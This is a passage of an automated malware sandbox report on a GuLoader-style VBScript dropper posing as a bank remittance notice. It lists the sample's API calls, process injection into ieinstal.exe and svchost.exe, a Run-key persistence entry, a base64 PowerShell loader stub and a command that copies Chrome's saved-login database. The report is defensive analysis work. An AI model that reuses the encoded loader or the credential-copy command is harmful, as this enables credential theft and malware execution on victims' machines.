Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC998A0 NtWriteVirtualMemory, 23_2_1EC998A0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC9B040 NtSuspendThread, 23_2_1EC9B040
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99820 NtEnumerateKey, 23_2_1EC99820
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC999D0 NtCreateProcessEx, 23_2_1EC999D0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC995D0 NtClose, 23_2_1EC995D0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC995F0 NtQueryInformationFile, 23_2_1EC995F0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99950 NtQueueApcThread, 23_2_1EC99950
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99560 NtWriteFile, 23_2_1EC99560
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99520 NtWaitForSingleObject, 23_2_1EC99520
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC9AD30 NtSetContextThread, 23_2_1EC9AD30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469B00 NtSetValueKey,LdrInitializeThunk, 26_2_03469B00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469A50 NtCreateFile,LdrInitializeThunk, 26_2_03469A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469910 NtAdjustPrivilegesToken,LdrInitializeThunk, 26_2_03469910
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034699A0 NtCreateSection,LdrInitializeThunk, 26_2_034699A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469840 NtDelayExecution,LdrInitializeThunk, 26_2_03469840
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469860 NtQuerySystemInformation,LdrInitializeThunk, 26_2_03469860
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469770 NtSetInformationFile,LdrInitializeThunk, 26_2_03469770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469710 NtQueryInformationToken,LdrInitializeThunk, 26_2_03469710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469FE0 NtCreateMutant,LdrInitializeThunk, 26_2_03469FE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469780 NtMapViewOfSection,LdrInitializeThunk, 26_2_03469780
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469650 NtQueryValueKey,LdrInitializeThunk, 26_2_03469650
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469660 NtAllocateVirtualMemory,LdrInitializeThunk, 26_2_03469660
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469610 NtEnumerateValueKey,LdrInitializeThunk, 26_2_03469610
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034696D0 NtCreateKey,LdrInitializeThunk, 26_2_034696D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034696E0 NtFreeVirtualMemory,LdrInitializeThunk, 26_2_034696E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469540 NtReadFile,LdrInitializeThunk, 26_2_03469540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469560 NtWriteFile,LdrInitializeThunk, 26_2_03469560
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034695D0 NtClose,LdrInitializeThunk, 26_2_034695D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0346A3B0 NtGetContextThread, 26_2_0346A3B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469A00 NtProtectVirtualMemory, 26_2_03469A00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469A10 NtQuerySection, 26_2_03469A10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469A20 NtResumeThread, 26_2_03469A20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469A80 NtOpenDirectoryObject, 26_2_03469A80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469950 NtQueueApcThread, 26_2_03469950
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034699D0 NtCreateProcessEx, 26_2_034699D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0346B040 NtSuspendThread, 26_2_0346B040
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469820 NtEnumerateKey, 26_2_03469820
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034698F0 NtReadVirtualMemory, 26_2_034698F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034698A0 NtWriteVirtualMemory, 26_2_034698A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469760 NtOpenProcess, 26_2_03469760
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0346A770 NtOpenThread, 26_2_0346A770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0346A710 NtOpenProcessToken, 26_2_0346A710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469730 NtQueryVirtualMemory, 26_2_03469730
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034697A0 NtUnmapViewOfSection, 26_2_034697A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469670 NtQueryInformationProcess, 26_2_03469670
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03469520 NtWaitForSingleObject, 26_2_03469520
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0346AD30 NtSetContextThread, 26_2_0346AD30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034695F0 NtQueryInformationFile, 26_2_034695F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A360 NtCreateFile, 26_2_02A2A360
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A490 NtClose, 26_2_02A2A490
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A410 NtReadFile, 26_2_02A2A410
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A540 NtAllocateVirtualMemory, 26_2_02A2A540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A35D NtCreateFile, 26_2_02A2A35D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A48A NtClose, 26_2_02A2A48A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220124 Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winVBS@18/16@5/2
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Remittance Information (MT-103).vbs"
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Remittance Information (MT-103).vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4377.tmp" "c:\Users\user\AppData\Local\Temp\5wwhq3bl\CSCEED551C9B69E4D3BACB27851B833AAE.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe "C:\Program Files (x86)\internet explorer\ieinstal.exe"
Source: C:\Windows\explorer.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe "C:\Program Files (x86)\internet explorer\ieinstal.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.cmdline Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4377.tmp" "c:\Users\user\AppData\Local\Temp\5wwhq3bl\CSCEED551C9B69E4D3BACB27851B833AAE.TMP" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe "C:\Program Files (x86)\internet explorer\ieinstal.exe" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe "C:\Program Files (x86)\internet explorer\ieinstal.exe" Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\Champag6.dat Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5684:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_01
Source: C:\Windows\SysWOW64\svchost.exe File written: C:\Users\user\AppData\Roaming\K-NBS4VB\K-Nlogri.ini Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Binary string: ieinstal.pdbGCTL source: svchost.exe, 0000001A.00000002.875332208.000000000392F000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000001A.00000002.874340657.0000000002E12000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ieinstal.pdb source: svchost.exe, 0000001A.00000002.875332208.000000000392F000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000001A.00000002.874340657.0000000002E12000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: ieinstal.exe, 00000017.00000002.741990964.000000001EC30000.00000040.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.742109232.000000001ED4F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.731672310.0000000003200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.729304161.0000000003000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874979162.000000000351F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874833482.0000000003400000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: ieinstal.exe, ieinstal.exe, 00000017.00000002.741990964.000000001EC30000.00000040.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.742109232.000000001ED4F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000001A.00000003.731672310.0000000003200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.729304161.0000000003000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874979162.000000000351F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874833482.0000000003400000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: ieinstal.exe, 00000017.00000003.728221731.0000000002F07000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.741936624.000000001EAA0000.00000040.10000000.00040000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728303049.0000000002EC3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: svchost.pdbUGP source: ieinstal.exe, 00000017.00000003.728221731.0000000002F07000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.741936624.000000001EAA0000.00000040.10000000.00040000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728303049.0000000002EC3000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: ShellExecute("C:\Windows\SysWOW64\WindowsPowerShell\v", " -EncodedCommand "IwBBAEkAUgBFAEQAIABTA", "", "", "0")
Yara detected GuLoader
Source: Yara match File source: 00000017.00000000.621139519.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035AB910 push esp; retf 4_2_035AB911
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035A4DBD push eax; ret 4_2_035A4DC3
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ECAD0D1 push ecx; ret 23_2_1ECAD0E4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0347D0D1 push ecx; ret 26_2_0347D0E4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A163D7 push 00000019h; ret 26_2_02A163DD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2C883 push 00000038h; retf 26_2_02A2C88F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2A842 push edx; retf 26_2_02A2A843
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A29FB6 push es; iretd 26_2_02A29FBD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2D4B5 push eax; ret 26_2_02A2D508
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.cmdline Jump to behavior

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.dll Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run IB1XSLUHG4 Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run IB1XSLUHG4 Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Modifies the prolog of user mode functions (user mode inline hooks)
